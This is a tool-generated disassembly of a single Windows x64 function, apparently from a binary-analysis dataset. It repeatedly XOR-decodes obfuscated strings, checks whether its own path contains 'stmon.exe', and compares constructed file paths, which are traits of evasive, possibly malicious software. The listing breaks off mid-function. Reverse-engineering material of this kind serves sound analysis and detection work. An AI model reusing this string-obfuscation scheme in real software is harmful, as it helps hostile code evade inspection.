Function at 0x140005100
Capabilities:
Encode data using xor

Disassembly:
push r15
mov eax, 0x1d68
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140004f10
sub rsp, rax
movaps xmmword [rsp + 0x1d20], xmm6
movaps xmmword [rsp + 0x1d30], xmm7
movaps xmmword [rsp + 0x1d40], xmm8
movaps xmmword [rsp + 0x1d50], xmm9
lea rbp, [0x140536b00]
call fcn.14000435e
movdqa xmm0, xmmword [0x140532620]
mov eax, 0xeb
cmp byte [0x140536ae0], 0
mov dword [rsp + 0x18c0], 0x9a009e
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532630]
mov word [rsp + 0x18c4], ax
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532640]
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [0x140532650]
movaps xmmword [rsp + 0x18a0], xmm0
movdqa xmm0, xmmword [0x140532660]
movaps xmmword [rsp + 0x18b0], xmm0
jne 0x1400051e7
lea rbx, [rsp + 0x1870]
mov ecx, 0x56
mov rdi, rbp
mov byte [0x140536b56], 1
mov rsi, rbx
mov byte [0x140536ae0], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001360]
call fcn.140001335
cmp byte [0x140536b56], 0
je 0x1400052c8
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532670]
mov byte [0x140536b56], 0
pxor xmm0, xmmword [0x140536b00]
movzx eax, word [0x140536b54]
movd xmm5, dword [0x140536b50]
movd xmm6, dword [0x140532680]
pand xmm0, xmm1
xor ax, 0xc3eb
movaps xmmword [0x140536b00], xmm0
movdqa xmm0, xmmword [0x140532690]
and ax, 0xff
pxor xmm0, xmmword [0x140536b10]
mov word [0x140536b54], ax
pand xmm0, xmm1
movaps xmmword [0x140536b10], xmm0
movdqa xmm0, xmmword [0x1405326a0]
pxor xmm0, xmmword [0x140536b20]
pand xmm0, xmm1
movaps xmmword [0x140536b20], xmm0
movdqa xmm0, xmmword [0x1405326b0]
pxor xmm0, xmmword [0x140536b30]
pand xmm0, xmm1
movaps xmmword [0x140536b30], xmm0
movdqa xmm0, xmmword [0x1405326c0]
pxor xmm0, xmmword [0x140536b40]
pand xmm0, xmm1
movaps xmmword [0x140536b40], xmm0
movd xmm0, dword [0x1405326d0]
pxor xmm0, xmm5
pand xmm0, xmm6
movd dword [0x140536b50], xmm0
lea rbx, [rsp + 0x70]
mov r8d, 0x104
mov rdx, rbp
mov rcx, rbx
call fcn.140001630
pxor xmm0, xmm0
lea rcx, [rsp + 0x60]
mov r9d, 1
lea r8, [rsp + 0x80]
mov edx, 0x1f0001
mov dword [rsp + 0x80], 0x30
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x98], 0
mov qword [rsp + 0x90], rbx
movaps xmmword [rsp + 0xa0], xmm0
call fcn.140004281
test eax, eax
js 0x14000690e
lea rdi, [rsp + 0xb0]
xor ecx, ecx
mov r8d, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx ecx, byte [rsp + 0xb0]
test cl, cl
je 0x140005380
mov rbp, qword [sym.imp.msvcrt.dll_tolower]
mov rbx, rdi
nop dword [rax + rax]
call rbp
add rbx, 1
mov byte [rbx - 1], al
movsx ecx, byte [rbx]
test cl, cl
jne 0x140005370
lea rdx, str.stmon.exe
mov rcx, rdi
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140006b00
xor ecx, ecx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x68], 0xfffffffff5de0180
lea rbp, [rsp + 0x1c0]
call fcn.140004221
mov rdi, rbp
call fcn.140003e30
mov ecx, 0x41
movdqa xmm0, xmmword [0x1405326e0]
mov r15, rax
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x80]
movaps xmmword [rsp + 0x1870], xmm0
mov qword [rsp + 0x48], rax
xor eax, eax
cmp byte [0x140536ab8], 0
rep stosq qword [rdi], rax
mov rax, qword [0x1405326f0]
mov qword [rsp + 0x1880], rax
jne 0x14000543b
movdqa xmm3, xmmword [rsp + 0x1870]
mov rax, qword [rsp + 0x1880]
lea rcx, [0x140001370]
mov byte [0x140536ad8], 1
mov byte [0x140536ab8], 1
mov qword [0x140536ad0], rax
movaps xmmword [0x140536ac0], xmm3
call fcn.140001335
cmp byte [0x140536ad8], 0
je 0x140005496
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532700]
mov byte [0x140536ad8], 0
pxor xmm0, xmmword [0x140536ac0]
pand xmm0, xmm1
movq xmm1, qword [0x140532710]
movaps xmmword [0x140536ac0], xmm0
movq xmm0, qword [0x140536ad0]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536ad0], xmm0
mov rcx, qword [rsp + 0x48]
lea rdx, [0x140536ac0]
lea r12, [rsp + 0x3d0]
mov rdi, r12
call fcn.140002d20
mov rcx, rbp
mov rdx, rax
call sub.msvcrt.dll_wcscat
movdqa xmm0, xmmword [str.goDMK__q]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
cmp byte [0x140536a98], 0
mov dword [rsp + 0x1880], 0x440071
movaps xmmword [rsp + 0x1870], xmm0
jne 0x140005522
movdqa xmm4, xmmword [rsp + 0x1870]
mov eax, dword [rsp + 0x1880]
lea rcx, [0x140001380]
mov byte [0x140536ab4], 1
mov byte [0x140536a98], 1
mov dword [0x140536ab0], eax
movaps xmmword [0x140536aa0], xmm4
call fcn.140001335
cmp byte [0x140536ab4], 0
je 0x14000557d
movdqa xmm0, xmmword [0x140532730]
movdqa xmm1, xmmword [0x140532680]
mov byte [0x140536ab4], 0
pxor xmm0, xmmword [0x140536aa0]
movd xmm5, dword [0x140536ab0]
movd xmm6, dword [0x140532680]
pand xmm0, xmm1
movaps xmmword [0x140536aa0], xmm0
movd xmm0, dword [0x140532740]
pxor xmm0, xmm5
pand xmm0, xmm6
movd dword [0x140536ab0], xmm0
mov rcx, r12
lea r8, [0x140536aa0]
mov rdx, rbp
call fcn.140002cf0
lea r13, [rsp + 0x5e0]
xor eax, eax
movdqa xmm0, xmmword [0x140532750]
mov ecx, 0x41
mov rdi, r13
cmp byte [0x140536a70], 0
mov word [rsp + 0x1880], 0xff
rep stosq qword [rdi], rax
movaps xmmword [rsp + 0x1870], xmm0
jne 0x1400055fa
movdqa xmm5, xmmword [rsp + 0x1870]
lea rcx, [0x140001390]
mov byte [0x140536a92], 1
mov word [0x140536a90], 0xff
mov byte [0x140536a70], 1
movaps xmmword [0x140536a80], xmm5
call fcn.140001335
cmp byte [0x140536a92], 0
je 0x140005643
movzx eax, word [0x140536a90]
movdqa xmm0, xmmword [0x140532760]
mov byte [0x140536a92], 0
pxor xmm0, xmmword [0x140536a80]
movdqa xmm1, xmmword [0x140532680]
xor ax, 0xb1ff
and ax, 0xff
pand xmm0, xmm1
mov word [0x140536a90], ax
movaps xmmword [0x140536a80], xmm0
mov rcx, r13
lea r8, [0x140536a80]
mov rdx, r12
call fcn.140002cf0
xor eax, eax
movdqa xmm0, xmmword [str.iaV_ULOmQH_3]
lea r14, [rsp + 0x7f0]
mov ecx, 0x41
mov rdi, r14
cmp byte [0x140536a10], 0
mov dword [rsp + 0x18b8], 0x3f0021
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532780]
lea rbx, [rsp + 0x1870]
rep stosq qword [rdi], rax
mov rax, qword [0x1405327b0]
mov word [rsp + 0x18bc], 0x5b
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532790]
mov qword [rsp + 0x18b0], rax
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [str._85__19:y]
movaps xmmword [rsp + 0x18a0], xmm0
jne 0x14000570d
lea rax, [0x140536a20]
mov ecx, 0x4e
mov rsi, rbx
mov byte [0x140536a6e], 1
mov rdi, rax
mov byte [0x140536a10], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1400013a0]
call fcn.140001335
cmp byte [0x140536a6e], 0
je 0x1400057fb
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x1405327c0]
mov byte [0x140536a6e], 0
pxor xmm0, xmmword [0x140536a20]
movzx eax, word [0x140536a6c]
movd xmm6, dword [0x140536a68]
movd xmm3, dword [0x140532680]
pand xmm0, xmm1
xor ax, 0x135b
movaps xmmword [0x140536a20], xmm0
movdqa xmm0, xmmword [0x1405327d0]
and ax, 0xff
pxor xmm0, xmmword [0x140536a30]
mov word [0x140536a6c], ax
pand xmm0, xmm1
movaps xmmword [0x140536a30], xmm0
movdqa xmm0, xmmword [0x1405327e0]
pxor xmm0, xmmword [0x140536a40]
pand xmm0, xmm1
movaps xmmword [0x140536a40], xmm0
movdqa xmm0, xmmword [0x1405327f0]
pxor xmm0, xmmword [0x140536a50]
pand xmm0, xmm1
movq xmm1, qword [0x140532800]
movaps xmmword [0x140536a50], xmm0
movq xmm0, qword [0x140536a60]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536a60], xmm0
movd xmm0, dword [0x140532808]
pxor xmm0, xmm6
pand xmm0, xmm3
movd dword [0x140536a68], xmm0
mov rcx, r14
lea r8, [0x140536a20]
mov rdx, r12
call fcn.140002cf0
lea rdi, [rsp + 0xa00]
xor eax, eax
mov ecx, 0x41
mov qword [rsp + 0x58], rdi
movdqa xmm0, xmmword [str._a_207]
rep stosq qword [rdi], rax
mov rax, qword [0x140532820]
cmp byte [0x1405369e0], 0
mov word [rsp + 0x1888], 0x67
movaps xmmword [rsp + 0x1870], xmm0
mov qword [rsp + 0x1880], rax
jne 0x140005890
movdqa xmm4, xmmword [rsp + 0x1870]
lea rcx, [0x1400013b0]
movdqu xmm5, xmmword [rsp + 0x187a]
mov byte [0x140536a0a], 1
mov byte [0x1405369e0], 1
movaps xmmword [0x1405369f0], xmm4
movups xmmword [0x1405369fa], xmm5
call fcn.140001335
cmp byte [0x140536a0a], 0
je 0x140005901
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532830]
mov byte [0x140536a0a], 0
pxor xmm0, xmmword [0x1405369f0]
movzx eax, word [0x140536a08]
pand xmm0, xmm1
xor ax, 0x9967
movq xmm1, qword [0x140532840]
movaps xmmword [0x1405369f0], xmm0
and ax, 0xff
movq xmm0, qword [0x140536a00]
mov word [0x140536a08], ax
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536a00], xmm0
mov rcx, qword [rsp + 0x58]
lea r8, [0x1405369f0]
mov rdx, r12
lea rdi, [rsp + 0xc10]
call fcn.140002cf0
xor eax, eax
mov ecx, 0x41
mov qword [rsp + 0x50], rdi
rep stosq qword [rdi], rax
mov rax, qword [str.ugnt]
cmp byte [0x1405369c8], 0
mov dword [rsp + 0x1878], 0x260018
mov qword [rsp + 0x1870], rax
jne 0x140005985
mov rax, qword [rsp + 0x1870]
lea rcx, [0x1400013c0]
mov byte [0x1405369dc], 1
mov byte [0x1405369c8], 1
mov qword [0x1405369d0], rax
mov eax, dword [rsp + 0x1878]
mov dword [0x1405369d8], eax
call fcn.140001335
cmp byte [0x1405369dc], 0
je 0x1400059e5
movq xmm0, qword [0x1405369d0]
movd xmm6, dword [0x1405369d8]
mov byte [0x1405369dc], 0
movq xmm1, qword [0x140532850]
movd xmm3, dword [0x140532680]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x1405369d0], xmm0
movd xmm0, dword [0x140532858]
pxor xmm0, xmm6
pand xmm0, xmm3
movd dword [0x1405369d8], xmm0
mov rcx, qword [rsp + 0x48]
lea rdx, [0x1405369d0]
lea r14, [rsp + 0xe20]
mov rdi, r14
call fcn.140002d20
mov rcx, qword [rsp + 0x50]
mov rdx, rax
call sub.msvcrt.dll_wcscat
movdqa xmm0, xmmword [str.AuDENOMMPSFF]
xor eax, eax
mov ecx, 0x41
rep stosq qword [rdi], rax
cmp byte [0x140536998], 0
mov dword [rsp + 0x1890], 0x2e005d
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532870]
movaps xmmword [rsp + 0x1880], xmm0
jne 0x140005a7a
lea rax, [0x1405369a0]
mov ecx, 9
mov rsi, rbx
mov byte [0x1405369c4], 1
mov rdi, rax
mov byte [0x140536998], 1
rep movsd dword [rdi], dword [rsi]
lea rcx, [0x1400013d0]
call fcn.140001335
cmp byte [0x1405369c4], 0
je 0x140005b5c
lea rax, [0x1405369a0]
movdqa xmm1, xmmword [0x140532680]
movdqa xmm8, xmmword [0x140532610]
movdqa xmm6, xmmword [0x140532880]
movdqa xmm5, xmmword [0x140532890]
lea rdx, [rax + 0x20]
movdqa xmm4, xmmword [0x1405328a0]
movdqa xmm3, xmmword [0x1405328b0]
movdqa xmm9, xmmword [0x1405328c0]
movdqa xmm2, xmm8
add rax, 0x10
paddq xmm8, xmm6
movdqa xmm7, xmm2
movdqa xmm0, xmm2
paddq xmm7, xmm5
shufps xmm0, xmm7, 0x88
movdqa xmm7, xmm2
paddq xmm2, xmm3
paddq xmm7, xmm4
shufps xmm7, xmm2, 0x88
movdqa xmm2, xmm0
punpcklwd xmm0, xmm7
punpckhwd xmm2, xmm7
movdqa xmm7, xmm0
punpckhwd xmm7, xmm2
punpcklwd xmm0, xmm2
punpcklwd xmm0, xmm7
paddw xmm0, xmm9
pxor xmm0, xmmword [rax - 0x10]
pand xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rax, rdx
jne 0x140005acc
movd xmm4, dword [0x1405369c0]
movd xmm0, dword [0x1405328d0]
mov byte [0x1405369c4], 0
movd xmm5, dword [0x140532680]
pxor xmm0, xmm4
pand xmm0, xmm5
movd dword [0x1405369c0], xmm0
mov rdx, qword [rsp + 0x50]
mov rcx, r14
mov rdi, rbx
lea r8, [0x1405369a0]
lea rsi, [0x140532020]
call fcn.140002cf0
cmp byte [0x140536858], 0
mov ecx, 0x26
rep movsq qword [rdi], qword [rsi]
jne 0x140005bba
lea rax, [0x140536860]
mov ecx, 0x26
mov rsi, rbx
mov byte [0x140536990], 1
mov rdi, rax
mov byte [0x140536858], 1
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1400013e0]
call fcn.140001335
cmp byte [0x140536990], 0
je 0x140005c78
lea rax, [0x140536860]
movdqa xmm1, xmmword [0x140532680]
movdqa xmm8, xmmword [0x140532610]
movdqa xmm6, xmmword [0x140532880]
movdqa xmm5, xmmword [0x140532890]
lea rdx, [rax + 0x130]
movdqa xmm4, xmmword [0x1405328a0]
movdqa xmm3, xmmword [0x1405328b0]
movdqa xmm9, xmmword [0x1405328e0]
nop
movdqa xmm2, xmm8
add rax, 0x10
paddq xmm8, xmm6
movdqa xmm7, xmm2
movdqa xmm0, xmm2
paddq xmm7, xmm5
shufps xmm0, xmm7, 0x88
movdqa xmm7, xmm2
paddq xmm2, xmm3
paddq xmm7, xmm4
shufps xmm7, xmm2, 0x88
movdqa xmm2, xmm0
punpcklwd xmm0, xmm7
punpckhwd xmm2, xmm7
movdqa xmm7, xmm0
punpckhwd xmm7, xmm2
punpcklwd xmm0, xmm2
punpcklwd xmm0, xmm7
paddw xmm0, xmm9
pxor xmm0, xmmword [rax - 0x10]
pand xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rax, rdx
jne 0x140005c10
mov byte [0x140536990], 0
mov qword [rsp + 0x20], r13
mov r8, r13
xor ecx, ecx
xor esi, esi
lea r9, [0x140536860]
mov rdx, r12
lea rdi, [rsp + 0x1030]
lea r13, [rsp + 0x1240]
call fcn.1400028d0
mov rax, rsi
mov ecx, 0x41
rep stosq qword [rdi], rax
mov rax, qword [r15 + 0x20]
mov rdi, r13
mov rdx, qword [rax + 0x68]
lea rax, [rsp + 0x1030]
mov rcx, rax
mov qword [rsp + 0x50], rax
call sub.msvcrt.dll_wcscat
movdqa xmm0, xmmword [0x1405328f0]
mov rax, rsi
mov ecx, 0x41
rep stosq qword [rdi], rax
mov rax, qword [0x140532930]
cmp byte [0x1405367d0], 0
mov dword [rsp + 0x18b8], 0xaf00b1
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532900]
mov qword [rsp + 0x18b0], rax
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532910]
mov word [rsp + 0x18bc], 0xcb
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [0x140532920]
movaps xmmword [rsp + 0x18a0], xmm0
jne 0x140005d74
lea rax, [0x1405367e0]
mov ecx, 0x4e
mov rsi, rbx
mov byte [0x14053682e], 1
mov rdi, rax
mov byte [0x1405367d0], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001400]
call fcn.140001335
cmp byte [0x14053682e], 0
je 0x140005e62
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532940]
mov byte [0x14053682e], 0
pxor xmm0, xmmword [0x1405367e0]
movzx eax, word [0x14053682c]
movd xmm6, dword [0x140536828]
movd xmm3, dword [0x140532680]
pand xmm0, xmm1
xor ax, 0xa9cb
movaps xmmword [0x1405367e0], xmm0
movdqa xmm0, xmmword [0x140532950]
and ax, 0xff
pxor xmm0, xmmword [0x1405367f0]
mov word [0x14053682c], ax
pand xmm0, xmm1
movaps xmmword [0x1405367f0], xmm0
movdqa xmm0, xmmword [0x140532960]
pxor xmm0, xmmword [0x140536800]
pand xmm0, xmm1
movaps xmmword [0x140536800], xmm0
movdqa xmm0, xmmword [0x140532970]
pxor xmm0, xmmword [0x140536810]
pand xmm0, xmm1
movq xmm1, qword [0x140532980]
movaps xmmword [0x140536810], xmm0
movq xmm0, qword [0x140536820]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x140536820], xmm0
movd xmm0, dword [0x140532988]
pxor xmm0, xmm6
pand xmm0, xmm3
movd dword [0x140536828], xmm0
movdqa xmm0, xmmword [0x140532990]
cmp byte [0x140536830], 0
mov word [rsp + 0x1880], 0xad
movaps xmmword [rsp + 0x1870], xmm0
jne 0x140005eb8
movdqa xmm4, xmmword [rsp + 0x1870]
lea rcx, [0x1400013f0]
mov byte [0x140536852], 1
mov word [0x140536850], 0xad
mov byte [0x140536830], 1
movaps xmmword [0x140536840], xmm4
call fcn.140001335
cmp byte [0x140536852], 0
je 0x140005efb
movzx eax, byte [0x140536850]
movdqa xmm0, xmmword [0x140532940]
mov byte [0x140536852], 0
pxor xmm0, xmmword [0x140536840]
movdqa xmm1, xmmword [0x140532680]
xor al, 0xad
mov word [0x140536850], ax
pand xmm0, xmm1
movaps xmmword [0x140536840], xmm0
mov rcx, qword [rsp + 0x48]
lea rdx, [0x140536840]
lea r15, [rsp + 0x1450]
mov rdi, r15
call fcn.140002d20
mov rcx, r13
lea r8, [0x1405367e0]
mov rdx, rax
call fcn.140002cf0
xor eax, eax
mov ecx, 0x41
movdqa xmm0, xmmword [0x1405329a0]
rep stosq qword [rdi], rax
mov rax, qword [0x1405329b0]
cmp byte [0x1405367a8], 0
mov dword [rsp + 0x1888], 0xfe0098
movaps xmmword [rsp + 0x1870], xmm0
mov qword [rsp + 0x1880], rax
jne 0x140005fa0
movdqa xmm5, xmmword [rsp + 0x1870]
lea rcx, [0x140001410]
movdqu xmm6, xmmword [rsp + 0x187c]
mov byte [0x1405367cc], 1
mov byte [0x1405367a8], 1
movaps xmmword [0x1405367b0], xmm5
movups xmmword [0x1405367bc], xmm6
call fcn.140001335
cmp byte [0x1405367cc], 0
je 0x140006023
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x1405329c0]
mov byte [0x1405367cc], 0
pxor xmm0, xmmword [0x1405367b0]
movd xmm5, dword [0x1405367c8]
movd xmm6, dword [0x140532680]
pand xmm0, xmm1
movq xmm1, qword [0x1405329d0]
movaps xmmword [0x1405367b0], xmm0
movq xmm0, qword [0x1405367c0]
pxor xmm0, xmm1
movq xmm1, qword [0x140532680]
pand xmm0, xmm1
movq qword [0x1405367c0], xmm0
movd xmm0, dword [0x1405329d8]
pxor xmm0, xmm5
pand xmm0, xmm6
movd dword [0x1405367c8], xmm0
mov rcx, r15
lea r8, [0x1405367b0]
mov rdx, r12
call fcn.140002cf0
lea r15, [rsp + 0x1660]
xor eax, eax
movdqa xmm0, xmmword [0x1405329e0]
mov ecx, 0x41
mov rdi, r15
cmp byte [0x140536780], 0
mov word [rsp + 0x1880], 0x95
rep stosq qword [rdi], rax
movaps xmmword [rsp + 0x1870], xmm0
jne 0x1400060a0
movdqa xmm3, xmmword [rsp + 0x1870]
lea rcx, [0x140001420]
mov byte [0x1405367a2], 1
mov word [0x1405367a0], 0x95
mov byte [0x140536780], 1
movaps xmmword [0x140536790], xmm3
call fcn.140001335
cmp byte [0x1405367a2], 0
je 0x1400060e3
movzx eax, byte [0x1405367a0]
movdqa xmm0, xmmword [0x1405329f0]
mov byte [0x1405367a2], 0
pxor xmm0, xmmword [0x140536790]
movdqa xmm1, xmmword [0x140532680]
xor al, 0x95
mov word [0x1405367a0], ax
pand xmm0, xmm1
movaps xmmword [0x140536790], xmm0
mov rdx, r12
mov rcx, r15
lea r8, [0x140536790]
call fcn.140002cf0
mov rcx, qword [rsp + 0x50]
mov rdx, r13
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x140006c18
movdqa xmm0, xmmword [str.F7E_a]
cmp byte [0x140536658], 0
mov dword [rsp + 0x1900], 0x8e00f8
mov word [rsp + 0x1904], 0xad
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532ab0]
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532ac0]
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [str.YR_b_]
movaps xmmword [rsp + 0x18a0], xmm0
movdqa xmm0, xmmword [0x140532ae0]
movaps xmmword [rsp + 0x18b0], xmm0
movdqa xmm0, xmmword [0x140532af0]
movaps xmmword [rsp + 0x18c0], xmm0
movdqa xmm0, xmmword [0x140532b00]
movaps xmmword [rsp + 0x18d0], xmm0
movdqa xmm0, xmmword [0x140532b10]
movaps xmmword [rsp + 0x18e0], xmm0
movdqa xmm0, xmmword [0x140532b20]
movaps xmmword [rsp + 0x18f0], xmm0
jne 0x1400061e6
lea rax, [0x140536660]
mov ecx, 0x96
mov rsi, rbx
mov byte [0x1405366f6], 1
mov rdi, rax
mov byte [0x140536658], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001440]
call fcn.140001335
cmp byte [0x1405366f6], 0
je 0x140006333
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532b30]
pxor xmm0, xmmword [0x140536660]
movd xmm4, dword [0x1405366f0]
movd xmm5, dword [0x140532680]
pand xmm0, xmm1
movaps xmmword [0x140536660], xmm0
movdqa xmm0, xmmword [0x140532b40]
pxor xmm0, xmmword [0x140536670]
pand xmm0, xmm1
movaps xmmword [0x140536670], xmm0
movdqa xmm0, xmmword [0x140532b50]
pxor xmm0, xmmword [0x140536680]
pand xmm0, xmm1
movaps xmmword [0x140536680], xmm0
movdqa xmm0, xmmword [0x140532b60]
pxor xmm0, xmmword [0x140536690]
pand xmm0, xmm1
movaps xmmword [0x140536690], xmm0
movdqa xmm0, xmmword [0x140532b70]
pxor xmm0, xmmword [0x1405366a0]
pand xmm0, xmm1
movaps xmmword [0x1405366a0], xmm0
movdqa xmm0, xmmword [0x140532b80]
pxor xmm0, xmmword [0x1405366b0]
pand xmm0, xmm1
movaps xmmword [0x1405366b0], xmm0
movdqa xmm0, xmmword [0x140532b90]
pxor xmm0, xmmword [0x1405366c0]
pand xmm0, xmm1
movaps xmmword [0x1405366c0], xmm0
movdqa xmm0, xmmword [0x140532ba0]
pxor xmm0, xmmword [0x1405366d0]
pand xmm0, xmm1
movaps xmmword [0x1405366d0], xmm0
movdqa xmm0, xmmword [0x140532bb0]
pxor xmm0, xmmword [0x1405366e0]
pand xmm0, xmm1
movaps xmmword [0x1405366e0], xmm0
movd xmm0, dword [0x140532bc0]
pxor xmm0, xmm4
pand xmm0, xmm5
movd dword [0x1405366f0], xmm0
movzx eax, word [0x1405366f4]
mov byte [0x1405366f6], 0
xor ax, 0x83ad
and ax, 0xff
mov word [0x1405366f4], ax
mov qword [rsp + 0x28], r13
mov rdx, r12
mov ecx, 1
mov r8, r15
mov qword [rsp + 0x20], r15
lea r9, [0x140536660]
call fcn.1400028d0
mov rcx, qword [rsp + 0x50]
mov rdx, r13
call sub.msvcrt.dll__wcsicmp
test eax, eax
jne 0x140006b56
movdqa xmm0, xmmword [0x140532bd0]
cmp byte [0x1405365e0], 0
lea r15, [0x140536600]
mov r13d, dword [0x140013718]
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532be0]
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532bf0]
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [0x140532c00]
movaps xmmword [rsp + 0x18a0], xmm0
jne 0x1400063e7
mov ecx, 0x10
mov rdi, r15
mov rsi, rbx
mov byte [0x140536640], 1
rep movsd dword [rdi], dword [rsi]
lea rcx, [0x140001460]
mov byte [0x1405365e0], 1
call fcn.140001335
cmp byte [0x140536640], 0
je 0x1400064a1
lea rax, [0x140536600]
movdqa xmm1, xmmword [0x140532680]
movdqa xmm8, xmmword [0x140532610]
movdqa xmm6, xmmword [0x140532880]
movdqa xmm5, xmmword [0x140532890]
lea rdx, [rax + 0x40]
movdqa xmm4, xmmword [0x1405328a0]
movdqa xmm3, xmmword [0x1405328b0]
movdqa xmm9, xmmword [0x140532c10]
movdqa xmm2, xmm8
add rax, 0x10
paddq xmm8, xmm6
movdqa xmm7, xmm2
movdqa xmm0, xmm2
paddq xmm7, xmm5
shufps xmm0, xmm7, 0x88
movdqa xmm7, xmm2
paddq xmm2, xmm3
paddq xmm7, xmm4
shufps xmm7, xmm2, 0x88
movdqa xmm2, xmm0
punpcklwd xmm0, xmm7
punpckhwd xmm2, xmm7
movdqa xmm7, xmm0
punpckhwd xmm7, xmm2
punpcklwd xmm0, xmm2
punpcklwd xmm0, xmm7
paddw xmm0, xmm9
pxor xmm0, xmmword [rax - 0x10]
pand xmm0, xmm1
movaps xmmword [rax - 0x10], xmm0
cmp rax, rdx
jne 0x140006439
mov byte [0x140536640], 0
mov rcx, r15
call fcn.140002c40
test al, al
je 0x140006b07
call fcn.140001e00
cmp byte [0x1405365c8], 0
mov r15d, eax
jne 0x1400064ed
lea rcx, [0x140001470]
mov byte [0x1405365d8], 1
movabs rax, 0x7600070019000b
mov qword [0x1405365d0], rax
mov byte [0x1405365c8], 1
call fcn.140001335
cmp byte [0x1405365d8], 0
lea r13, [0x1405365d0]
je 0x140006527
mov rdx, r13
mov eax, 0xffffd773
movzx ecx, word [rdx]
add rdx, 2
xor ecx, eax
add eax, 1
and cx, 0xff
mov word [rdx - 2], cx
cmp ax, 0xd777
jne 0x140006505
mov byte [0x1405365d8], 0
movdqa xmm0, xmmword [0x140532c20]
cmp byte [0x140536570], 0
mov dword [rsp + 0x18b0], 0xe600ff
mov word [rsp + 0x18b4], 0x95
movaps xmmword [rsp + 0x1870], xmm0
movdqa xmm0, xmmword [0x140532c30]
movaps xmmword [rsp + 0x1880], xmm0
movdqa xmm0, xmmword [0x140532c40]
movaps xmmword [rsp + 0x1890], xmm0
movdqa xmm0, xmmword [0x140532c50]
movaps xmmword [rsp + 0x18a0], xmm0
jne 0x1400065b3
lea rax, [0x140536580]
mov ecx, 0x46
mov rsi, rbx
mov byte [0x1405365c6], 1
mov rdi, rax
mov byte [0x140536570], 1
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140001480]
call fcn.140001335
cmp byte [0x1405365c6], 0
je 0x140006679
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532c60]
mov byte [0x1405365c6], 0
pxor xmm0, xmmword [0x140536580]
movzx eax, word [0x1405365c4]
movd xmm6, dword [0x1405365c0]
pand xmm0, xmm1
xor ax, 0xd795
movaps xmmword [0x140536580], xmm0
movdqa xmm0, xmmword [0x140532c70]
and ax, 0xff
pxor xmm0, xmmword [0x140536590]
mov word [0x1405365c4], ax
pand xmm0, xmm1
movaps xmmword [0x140536590], xmm0
movdqa xmm0, xmmword [0x140532c80]
pxor xmm0, xmmword [0x1405365a0]
pand xmm0, xmm1
movaps xmmword [0x1405365a0], xmm0
movdqa xmm0, xmmword [0x140532c90]
pxor xmm0, xmmword [0x1405365b0]
pand xmm0, xmm1
movaps xmmword [0x1405365b0], xmm0
movd xmm0, dword [0x140532ca0]
pxor xmm0, xmm6
movd xmm6, dword [0x140532680]
pand xmm0, xmm6
movd dword [0x1405365c0], xmm0
movdqa xmm0, xmmword [0x140532cb0]
mov rax, qword [0x140532cc0]
mov dword [rsp + 0x1888], 0x80001a
cmp byte [0x140536548], 0
mov qword [rsp + 0x1880], rax
movaps xmmword [rsp + 0x1870], xmm0
jne 0x1400066e6
movdqa xmm3, xmmword [rsp + 0x1870]
lea rcx, [0x140001490]
movdqu xmm4, xmmword [rsp + 0x187c]
mov byte [0x14053656c], 1
mov byte [0x140536548], 1
movaps xmmword [0x140536550], xmm3
movups xmmword [0x14053655c], xmm4
call fcn.140001335
cmp byte [0x14053656c], 0
je 0x140006769
movdqa xmm1, xmmword [0x140532680]
movdqa xmm0, xmmword [0x140532c60]
mov byte [0x14053656c], 0
pxor xmm0, xmmword [0x140536550]
movd xmm5, dword [0x140536568]
movd xmm6, dword [0x140532680]
